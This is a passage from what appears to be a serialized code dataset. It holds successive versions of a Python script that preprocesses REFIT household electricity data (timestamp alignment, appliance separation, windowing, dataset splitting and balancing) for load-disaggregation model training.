random.random()\n start = int(r * data_length)\n temp_main = []\n temp_appliance = []\n for j in range(start, start + window_width):\n temp_main.append(data[j][0])\n temp_appliance.append(data[j][1])\n appliance_train_validation.append(temp_appliance)\n main_train_validation.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('T & V 2: House %d %f' % (house_id, i / random_clip))\n print('Train & Validation: House %d %s complete!' % (house_id,\n appliance_name))\n np.save(os.path.join(data_path, \n '1024\\\\appliance_train_validation_%d.npy' % house_id),\n appliance_train_validation)\n np.save(os.path.join(data_path, \n '1024\\\\main_train_validation_%d.npy' % house_id),\n main_train_validation)\n count = 0\n for house_id, channel_id in refit_cfg.test[appliance_name].items():\n appliance_test.clear()\n main_test.clear()\n data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id,\n channel_id)))\n current_head = 0\n data_length = len(data)\n end = data_length - window_width - 1\n while current_head < end:\n temp_main = []\n temp_appliance = []\n for i in range(current_head, current_head + window_width):\n temp_main.append(data[i][0])\n temp_appliance.append(data[i][1])\n r = random.random()\n current_head += int(r * window_width)\n appliance_test.append(temp_appliance)\n main_test.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('Test 1: House %d %f' % (house_id, current_head /\n data_length))\n data_length -= window_width\n for i in range(refit_cfg.random_clip[appliance_name]):\n r = random.random()\n start = int(r * data_length)\n temp_main = []\n temp_appliance = []\n for j in range(start, start + window_width):\n temp_main.append(data[j][0])\n temp_appliance.append(data[j][1])\n appliance_test.append(temp_appliance)\n main_test.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('Test 2: House %d %f' % (house_id, i / data_length))\n print('Test 2: House %d %s complete!' % (house_id, appliance_name))\n np.save(os.path.join(data_path, '1024\\\\appliance_test_%d.npy' %\n house_id), appliance_test)\n np.save(os.path.join(data_path, '1024\\\\main_test_%d.npy' % house_id\n ), main_test)\n\n\n<mask token>\n\n\ndef train_validation_split(appliance_name):\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance = np.load(os.path.join(data_path,\n 'appliance_train_validation.npy'))\n main = np.load(os.path.join(data_path, 'main_train_validation.npy'))\n appliance_train, appliance_validation, main_train, main_validation = (\n train_test_split(appliance, main, test_size=0.2))\n print(len(appliance_train))\n print(len(main_train))\n np.save(os.path.join(data_path, 'appliance_train.npy'), appliance_train)\n np.save(os.path.join(data_path, 'main_train.npy'), main_train)\n np.save(os.path.join(data_path, 'appliance_validation.npy'),\n appliance_validation)\n np.save(os.path.join(data_path, 'main_validation.npy'), main_validation)\n\n\n<mask token>\n\n\ndef positive_negative(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n count = 0\n threshold = [0, 50, 100, 200, 500, 1000, 2000, 5000, 10000]\n d = {}\n for i in range(len(threshold)):\n d[threshold[i]] = 0\n print(d)\n for th in threshold:\n for i in appliance_data:\n sum = 0\n for j in i:\n sum += int(j)\n if sum > th:\n d[th] += 1\n print('Thres %d complete!' % th)\n for thres, count in d.items():\n print('Thres: %d %d/%d %f' % (thres, count, len(appliance_data),\n count / len(appliance_data)))\n\n\ndef clip_view(appliance_name, thres):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n count = 0\n for i in appliance_data:\n sum = 0\n for j in i:\n sum += int(j)\n if sum > thres:\n plt.figure(figsize=(25, 10), dpi=100)\n plt.plot(i.astype(int))\n savefig(os.path.join(base_path, 'clip_view\\\\%d.jpg' % count))\n plt.close()\n count += 1\n\n\ndef test_process(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_test_512.npy'))\n temp = [0.0] * 512\n new_app = []\n for i in range(len(appliance_data)):\n max = np.max(appliance_data[i])\n if max < 0.05:\n print(max)\n new_app.append(temp)\n else:\n new_app.append(appliance_data[i])\n np.save(os.path.join(base_path, 'appliance_test_512.npy'), new_app)\n\n\ndef separate_positive_negative(appliance_name, thres, peak):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train.npy'))\n count = 0\n appliance_positive = []\n appliance_negative = []\n main_positive = []\n main_negative = []\n appliance_temp = [0] * 1024\n for i in range(len(appliance_data)):\n sum = 0\n max = 0\n for j in appliance_data[i]:\n sum += int(j)\n for j in range(512):\n if int(appliance_data[i][j + 256]) > max:\n max = int(appliance_data[i][j + 256])\n if max < peak:\n sum = 0\n if sum > thres:\n appliance_positive.append(appliance_data[i])\n main_positive.append(main_data[i])\n else:\n appliance_negative.append(appliance_temp)\n main_negative.append(main_data[i])\n if i % 1000 == 0:\n print('Processing: %f' % (i / len(appliance_data)))\n np.save(os.path.join(base_path, 'appliance_positive.npy'),\n appliance_positive)\n np.save(os.path.join(base_path, 'main_positive.npy'), main_positive)\n np.save(os.path.join(base_path, 'appliance_negative.npy'),\n appliance_negative)\n np.save(os.path.join(base_path, 'main_negative.npy'), main_negative)\n\n\n<mask token>\n\n\ndef shrink(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path,\n 'appliance_train_balanced.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train_balanced.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_train_%d.npy' % scale),\n appliance_new)\n np.save(os.path.join(base_path, 'main_train_%d.npy' % scale), main_new)\n\n\ndef shrink_validation(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path,\n 'appliance_validation.npy'))\n main_data = np.load(os.path.join(base_path, 'main_validation.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_validation_%d.npy' % scale),\n appliance_new)\n np.save(os.path.join(base_path, 'main_validation_%d.npy' % scale), main_new\n )\n\n\ndef appliance_1024to512(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_train = np.load(os.path.join(base_path,\n 'appliance_train_1000.npy'))\n appliance_validation = np.load(os.path.join(base_path,\n 'appliance_validation_1000.npy'))\n appliance_test = np.load(os.path.join(base_path, 'appliance_test_1000.npy')\n )\n at_new = []\n av_new = []\n ae_new = []\n for i in range(len(appliance_train)):\n at_temp = []\n for j in range(256, 768):\n at_temp.append(float(appliance_train[i][j]))\n at_new.append(at_temp)\n for i in range(len(appliance_validation)):\n av_temp = []\n for j in range(256, 768):\n av_temp.append(float(appliance_validation[i][j]))\n av_new.append(av_temp)\n for i in range(len(appliance_test)):\n ae_temp = []\n for j in range(256, 768):\n ae_temp.append(float(appliance_test[i][j]))\n ae_new.append(ae_temp)\n np.save(os.path.join(base_path, 'appliance_train_512.npy'), at_new)\n np.save(os.path.join(base_path, 'appliance_validation_512.npy'), av_new)\n np.save(os.path.join(base_path, 'appliance_test_512.npy'), ae_new)\n\n\ndef shrink_test(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_test.npy'))\n main_data = np.load(os.path.join(base_path, 'main_test.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_test_1000.npy'), appliance_new)\n np.save(os.path.join(base_path, 'main_test_1000.npy'), main_new)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef align_process(house_id):\n data = np.load('data\\\\REFIT\\\\original_data\\\\%d.npy' % house_id)\n new_data = []\n current_index = 0\n current_time = int(data[0][0])\n end_time = int(data[-1][0]) + 8\n interval_threshold = refit_cfg.separation_threshold\n isend = 0\n data_length = len(data)\n while current_time <= end_time:\n current_interval = int(data[current_index + 1][0]) - int(data[\n current_index][0])\n if current_interval < interval_threshold:\n if current_time > int(data[current_index][0]):\n temp_index = current_index + 1\n while current_time > int(data[temp_index][0]):\n temp_index += 1\n if temp_index > data_length - 1:\n temp_index -= 1\n break\n if abs(current_time - int(data[temp_index - 1][0])) > abs(\n int(data[temp_index][0]) - current_time):\n current_index = temp_index\n if temp_index == data_length - 1:\n print('The end!')\n isend = 1\n else:\n current_index = temp_index - 1\n t = []\n for element in data[current_index]:\n t.append(element)\n t[0] = current_time\n new_data.append(t)\n if isend == 1:\n break\n current_time += 8\n if current_index % 1000 == 0:\n print('House %d processing: %f' % (house_id, current_index /\n data_length))\n else:\n current_index += 1\n current_time = int(data[current_index][0])\n np.save('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id, new_data)\n\n\ndef visual(house_id, channel_id, start, length):\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n print(len(data))\n target = []\n c = channel_id + 1\n for r in data:\n target.append(int(r[c]))\n y = target[start:start + length]\n plt.plot(y)\n plt.show()\n\n\ndef diff(house_id):\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n d = []\n for i in range(len(data) - 1):\n d.append(int(data[i + 1][0]) - int(data[i][0]))\n plt.plot(d)\n plt.show()\n plt.close()\n\n\ndef appliance_separation(dict, appliance_name):\n path = 'data\\\\REFIT\\\\appliance_data\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, channel_id in dict.items():\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n appliance_data = []\n for row in data:\n appliance_data.append([row[1], row[channel_id + 1]])\n np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)),\n appliance_data)\n print('Appliance %s House %d complete!' % (appliance_name, house_id))\n\n\ndef show_appliance(house_id, appliance_name):\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_align\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id))\n print(len(data))\n mains = []\n app = []\n for i in data:\n mains.append(int(i[0]))\n app.append(int(i[1]))\n plt.figure(figsize=(20, 8))\n plt.plot(mains)\n plt.plot(app)\n plt.show()\n\n\ndef cull(cull_dict):\n for appliance_name, _dict in cull_dict.items():\n path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, cull_list in _dict.items():\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_align\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id))\n new_data = []\n _cull_list = [[0, cull_list[0][0]]]\n for i in range(len(cull_list) - 1):\n _cull_list.append([cull_list[i][1], cull_list[i + 1][0]])\n _cull_list.append([cull_list[-1][1], len(data) - 1])\n for i in _cull_list:\n if i[1] - i[0] != 0:\n for j in range(i[0], i[1]):\n new_data.append(data[j])\n np.save('data\\\\REFIT\\\\after_culling\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id), new_data)\n print('House %d %s complete!' % (house_id, appliance_name))\n\n\ndef appliance_separation(dict, appliance_name):\n \"\"\"\n 将各个电器的数据进行分解,放置到appliance_data文件夹下对应电器的文件夹中,以house_id和channel_id进行命名\n :param dict: 电器数据来源\n :param appliance_name: 当前电器的名称,用以创建文件夹\n :return:\n \"\"\"\n path = 'data\\\\REFIT\\\\appliance_data\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, channel_id in dict.items():\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n appliance_data = []\n for row in data:\n appliance_data.append([row[1], row[channel_id + 1]])\n np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)),\n appliance_data)\n print('Appliance %s House %d complete!' % (appliance_name, house_id))\n\n\ndef show_appliance(house_id, appliance_name):\n \"\"\"\n 具体观察每个电器的图形表示,将大段的数据缺失或者数据错误进行标注,构造cull_dict字典,在cull进行片段删除\n :param house_id:\n :param appliance_name:\n :return:\n \"\"\"\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_culling\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id))\n print(len(data))\n mains = []\n app = []\n for i in data:\n mains.append(int(i[0]))\n app.append(int(i[1]))\n plt.figure(figsize=(20, 8))\n plt.plot(mains)\n plt.plot(app)\n plt.show()\n\n\ndef cull(cull_dict):\n \"\"\"\n 根据画的图,将大段的空缺段进行删除,删除之后,需要进行比对\n :param cull_dict:\n :return:\n \"\"\"\n for appliance_name, _dict in cull_dict.items():\n path = 'data\\\\REFIT\\\\after_culling_2\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, cull_list in _dict.items():\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_culling_2\\\\%s\\\\%d_%d.npy' %\n (appliance_name, house_id, channel_id))\n new_data = []\n _cull_list = [[0, cull_list[0][0]]]\n for i in range(len(cull_list) - 1):\n _cull_list.append([cull_list[i][1], cull_list[i + 1][0]])\n _cull_list.append([cull_list[-1][1], len(data) - 1])\n for i in _cull_list:\n if i[1] - i[0] != 0:\n for j in range(i[0], i[1]):\n new_data.append(data[j])\n np.save('data\\\\REFIT\\\\after_culling_2\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id), new_data)\n print('House %d %s complete!' % (house_id, appliance_name))\n\n\ndef separate(appliance_name):\n window_width = refit_cfg.window_width[appliance_name]\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n count = 0\n appliance_train_validation = []\n appliance_test = []\n main_train_validation = []\n main_test = []\n for house_id, channel_id in refit_cfg.train_validation[appliance_name\n ].items():\n appliance_train_validation.clear()\n main_train_validation.clear()\n data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id,\n channel_id)))\n current_head = 0\n data_length = len(data)\n end = data_length - window_width - 1\n while current_head < end:\n temp_main = []\n temp_appliance = []\n for i in range(current_head, current_head + window_width):\n temp_main.append(data[i][0])\n temp_appliance.append(data[i][1])\n r = random.random()\n current_head += int(window_width * r)\n appliance_train_validation.append(temp_appliance)\n main_train_validation.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('T & V 1: House %d %f' % (house_id, current_head /\n data_length))\n data_length -= window_width\n random_clip = refit_cfg.random_clip[appliance_name]\n for i in range(random_clip):\n r = random.random()\n start = int(r * data_length)\n temp_main = []\n temp_appliance = []\n for j in range(start, start + window_width):\n temp_main.append(data[j][0])\n temp_appliance.append(data[j][1])\n appliance_train_validation.append(temp_appliance)\n main_train_validation.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('T & V 2: House %d %f' % (house_id, i / random_clip))\n print('Train & Validation: House %d %s complete!' % (house_id,\n appliance_name))\n np.save(os.path.join(data_path, \n '1024\\\\appliance_train_validation_%d.npy' % house_id),\n appliance_train_validation)\n np.save(os.path.join(data_path, \n '1024\\\\main_train_validation_%d.npy' % house_id),\n main_train_validation)\n count = 0\n for house_id, channel_id in refit_cfg.test[appliance_name].items():\n appliance_test.clear()\n main_test.clear()\n data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id,\n channel_id)))\n current_head = 0\n data_length = len(data)\n end = data_length - window_width - 1\n while current_head < end:\n temp_main = []\n temp_appliance = []\n for i in range(current_head, current_head + window_width):\n temp_main.append(data[i][0])\n temp_appliance.append(data[i][1])\n r = random.random()\n current_head += int(r * window_width)\n appliance_test.append(temp_appliance)\n main_test.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('Test 1: House %d %f' % (house_id, current_head /\n data_length))\n data_length -= window_width\n for i in range(refit_cfg.random_clip[appliance_name]):\n r = random.random()\n start = int(r * data_length)\n temp_main = []\n temp_appliance = []\n for j in range(start, start + window_width):\n temp_main.append(data[j][0])\n temp_appliance.append(data[j][1])\n appliance_test.append(temp_appliance)\n main_test.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('Test 2: House %d %f' % (house_id, i / data_length))\n print('Test 2: House %d %s complete!' % (house_id, appliance_name))\n np.save(os.path.join(data_path, '1024\\\\appliance_test_%d.npy' %\n house_id), appliance_test)\n np.save(os.path.join(data_path, '1024\\\\main_test_%d.npy' % house_id\n ), main_test)\n\n\ndef clip_visual(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train_.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train_.npy'))\n print('Data load complete!')\n loop = 1000\n x = np.linspace(256, 768, 512)\n length = len(appliance_data)\n for i in range(loop):\n r = int(random.random() * length)\n plt.figure(figsize=(25, 10), dpi=100)\n plt.subplot(211)\n plt.xlim(0, 1024)\n plt.plot(main_data[r])\n plt.subplot(212)\n plt.xlim(0, 1024)\n plt.plot(x, appliance_data[r])\n savefig(os.path.join(base_path, 'clip_view\\\\%d.jpg' % i))\n plt.close()\n\n\ndef train_validation_split(appliance_name):\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance = np.load(os.path.join(data_path,\n 'appliance_train_validation.npy'))\n main = np.load(os.path.join(data_path, 'main_train_validation.npy'))\n appliance_train, appliance_validation, main_train, main_validation = (\n train_test_split(appliance, main, test_size=0.2))\n print(len(appliance_train))\n print(len(main_train))\n np.save(os.path.join(data_path, 'appliance_train.npy'), appliance_train)\n np.save(os.path.join(data_path, 'main_train.npy'), main_train)\n np.save(os.path.join(data_path, 'appliance_validation.npy'),\n appliance_validation)\n np.save(os.path.join(data_path, 'main_validation.npy'), main_validation)\n\n\ndef data_integration(appliance_name):\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance = []\n main = []\n for house_id, channel_id in refit_cfg.train_validation[appliance_name\n ].items():\n appliance_data = np.load(os.path.join(data_path, \n 'appliance_train_validation_%d.npy' % house_id))\n main_data = np.load(os.path.join(data_path, \n 'main_train_validation_%d.npy' % house_id))\n for i in appliance_data:\n appliance.append(i)\n for i in main_data:\n main.append(i)\n print(len(appliance))\n print(len(main))\n np.save(os.path.join(data_path, 'appliance_train_validation.npy'),\n appliance)\n np.save(os.path.join(data_path, 'main_train_validation.npy'), main)\n appliance_test = []\n main_test = []\n for house_id, channel_id in refit_cfg.test[appliance_name].items():\n appliance_data = np.load(os.path.join(data_path, \n 'appliance_test_%d.npy' % house_id))\n main_data = np.load(os.path.join(data_path, 'main_test_%d.npy' %\n house_id))\n for i in appliance_data:\n appliance_test.append(i)\n for i in main_data:\n main_test.append(i)\n print(len(appliance_test))\n print(len(main_test))\n np.save(os.path.join(data_path, 'appliance_test.npy'), appliance_test)\n np.save(os.path.join(data_path, 'main_test.npy'), main_test)\n\n\ndef positive_negative(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n count = 0\n threshold = [0, 50, 100, 200, 500, 1000, 2000, 5000, 10000]\n d = {}\n for i in range(len(threshold)):\n d[threshold[i]] = 0\n print(d)\n for th in threshold:\n for i in appliance_data:\n sum = 0\n for j in i:\n sum += int(j)\n if sum > th:\n d[th] += 1\n print('Thres %d complete!' % th)\n for thres, count in d.items():\n print('Thres: %d %d/%d %f' % (thres, count, len(appliance_data),\n count / len(appliance_data)))\n\n\ndef clip_view(appliance_name, thres):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n count = 0\n for i in appliance_data:\n sum = 0\n for j in i:\n sum += int(j)\n if sum > thres:\n plt.figure(figsize=(25, 10), dpi=100)\n plt.plot(i.astype(int))\n savefig(os.path.join(base_path, 'clip_view\\\\%d.jpg' % count))\n plt.close()\n count += 1\n\n\ndef test_process(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_test_512.npy'))\n temp = [0.0] * 512\n new_app = []\n for i in range(len(appliance_data)):\n max = np.max(appliance_data[i])\n if max < 0.05:\n print(max)\n new_app.append(temp)\n else:\n new_app.append(appliance_data[i])\n np.save(os.path.join(base_path, 'appliance_test_512.npy'), new_app)\n\n\ndef separate_positive_negative(appliance_name, thres, peak):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train.npy'))\n count = 0\n appliance_positive = []\n appliance_negative = []\n main_positive = []\n main_negative = []\n appliance_temp = [0] * 1024\n for i in range(len(appliance_data)):\n sum = 0\n max = 0\n for j in appliance_data[i]:\n sum += int(j)\n for j in range(512):\n if int(appliance_data[i][j + 256]) > max:\n max = int(appliance_data[i][j + 256])\n if max < peak:\n sum = 0\n if sum > thres:\n appliance_positive.append(appliance_data[i])\n main_positive.append(main_data[i])\n else:\n appliance_negative.append(appliance_temp)\n main_negative.append(main_data[i])\n if i % 1000 == 0:\n print('Processing: %f' % (i / len(appliance_data)))\n np.save(os.path.join(base_path, 'appliance_positive.npy'),\n appliance_positive)\n np.save(os.path.join(base_path, 'main_positive.npy'), main_positive)\n np.save(os.path.join(base_path, 'appliance_negative.npy'),\n appliance_negative)\n np.save(os.path.join(base_path, 'main_negative.npy'), main_negative)\n\n\ndef generate_balanced_dataset(appliance_name, negative_ratio):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_positive = list(np.load(os.path.join(base_path,\n 'appliance_positive.npy')))\n appliance_negative = np.load(os.path.join(base_path,\n 'appliance_negative.npy'))\n main_positive = list(np.load(os.path.join(base_path, 'main_positive.npy')))\n main_negative = np.load(os.path.join(base_path, 'main_negative.npy'))\n print('Data load complete!')\n positive_length = len(appliance_positive)\n negative_length = len(appliance_negative)\n print('Postive length: %d negative length: %d' % (positive_length,\n negative_length))\n for i in range(int(positive_length * negative_ratio)):\n r = int(random.random() * negative_length)\n appliance_positive.append(appliance_negative[r])\n main_positive.append(main_negative[r])\n print('Data generate complete! length: %d' % len(appliance_positive))\n index = np.linspace(0, len(appliance_positive) - 1, len(appliance_positive)\n ).astype(int)\n random.shuffle(index)\n appliance_new = []\n main_new = []\n for i in index:\n appliance_new.append(appliance_positive[i])\n main_new.append(main_positive[i])\n print('Data shuffle complete!')\n np.save(os.path.join(base_path, 'appliance_train_balanced.npy'),\n appliance_new)\n np.save(os.path.join(base_path, 'main_train_balanced.npy'), main_new)\n print('Data save complete!')\n\n\ndef shrink(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path,\n 'appliance_train_balanced.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train_balanced.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_train_%d.npy' % scale),\n appliance_new)\n np.save(os.path.join(base_path, 'main_train_%d.npy' % scale), main_new)\n\n\ndef shrink_validation(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path,\n 'appliance_validation.npy'))\n main_data = np.load(os.path.join(base_path, 'main_validation.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_validation_%d.npy' % scale),\n appliance_new)\n np.save(os.path.join(base_path, 'main_validation_%d.npy' % scale), main_new\n )\n\n\ndef appliance_1024to512(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_train = np.load(os.path.join(base_path,\n 'appliance_train_1000.npy'))\n appliance_validation = np.load(os.path.join(base_path,\n 'appliance_validation_1000.npy'))\n appliance_test = np.load(os.path.join(base_path, 'appliance_test_1000.npy')\n )\n at_new = []\n av_new = []\n ae_new = []\n for i in range(len(appliance_train)):\n at_temp = []\n for j in range(256, 768):\n at_temp.append(float(appliance_train[i][j]))\n at_new.append(at_temp)\n for i in range(len(appliance_validation)):\n av_temp = []\n for j in range(256, 768):\n av_temp.append(float(appliance_validation[i][j]))\n av_new.append(av_temp)\n for i in range(len(appliance_test)):\n ae_temp = []\n for j in range(256, 768):\n ae_temp.append(float(appliance_test[i][j]))\n ae_new.append(ae_temp)\n np.save(os.path.join(base_path, 'appliance_train_512.npy'), at_new)\n np.save(os.path.join(base_path, 'appliance_validation_512.npy'), av_new)\n np.save(os.path.join(base_path, 'appliance_test_512.npy'), ae_new)\n\n\ndef shrink_test(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_test.npy'))\n main_data = np.load(os.path.join(base_path, 'main_test.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_test_1000.npy'), appliance_new)\n np.save(os.path.join(base_path, 'main_test_1000.npy'), main_new)\n\n\n<mask token>\n", "step-4": "<mask token>\nsys.path.append('preprocess')\n<mask token>\nmatplotlib.use('TkAgg')\n<mask token>\n\n\ndef align_process(house_id):\n data = np.load('data\\\\REFIT\\\\original_data\\\\%d.npy' % house_id)\n new_data = []\n current_index = 0\n current_time = int(data[0][0])\n end_time = int(data[-1][0]) + 8\n interval_threshold = refit_cfg.separation_threshold\n isend = 0\n data_length = len(data)\n while current_time <= end_time:\n current_interval = int(data[current_index + 1][0]) - int(data[\n current_index][0])\n if current_interval < interval_threshold:\n if current_time > int(data[current_index][0]):\n temp_index = current_index + 1\n while current_time > int(data[temp_index][0]):\n temp_index += 1\n if temp_index > data_length - 1:\n temp_index -= 1\n break\n if abs(current_time - int(data[temp_index - 1][0])) > abs(\n int(data[temp_index][0]) - current_time):\n current_index = temp_index\n if temp_index == data_length - 1:\n print('The end!')\n isend = 1\n else:\n current_index = temp_index - 1\n t = []\n for element in data[current_index]:\n t.append(element)\n t[0] = current_time\n new_data.append(t)\n if isend == 1:\n break\n current_time += 8\n if current_index % 1000 == 0:\n print('House %d processing: %f' % (house_id, current_index /\n data_length))\n else:\n current_index += 1\n current_time = int(data[current_index][0])\n np.save('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id, new_data)\n\n\ndef visual(house_id, channel_id, start, length):\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n print(len(data))\n target = []\n c = channel_id + 1\n for r in data:\n target.append(int(r[c]))\n y = target[start:start + length]\n plt.plot(y)\n plt.show()\n\n\ndef diff(house_id):\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n d = []\n for i in range(len(data) - 1):\n d.append(int(data[i + 1][0]) - int(data[i][0]))\n plt.plot(d)\n plt.show()\n plt.close()\n\n\ndef appliance_separation(dict, appliance_name):\n path = 'data\\\\REFIT\\\\appliance_data\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, channel_id in dict.items():\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n appliance_data = []\n for row in data:\n appliance_data.append([row[1], row[channel_id + 1]])\n np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)),\n appliance_data)\n print('Appliance %s House %d complete!' % (appliance_name, house_id))\n\n\ndef show_appliance(house_id, appliance_name):\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_align\\\\%s\\\\%d_%d.npy' % (\n 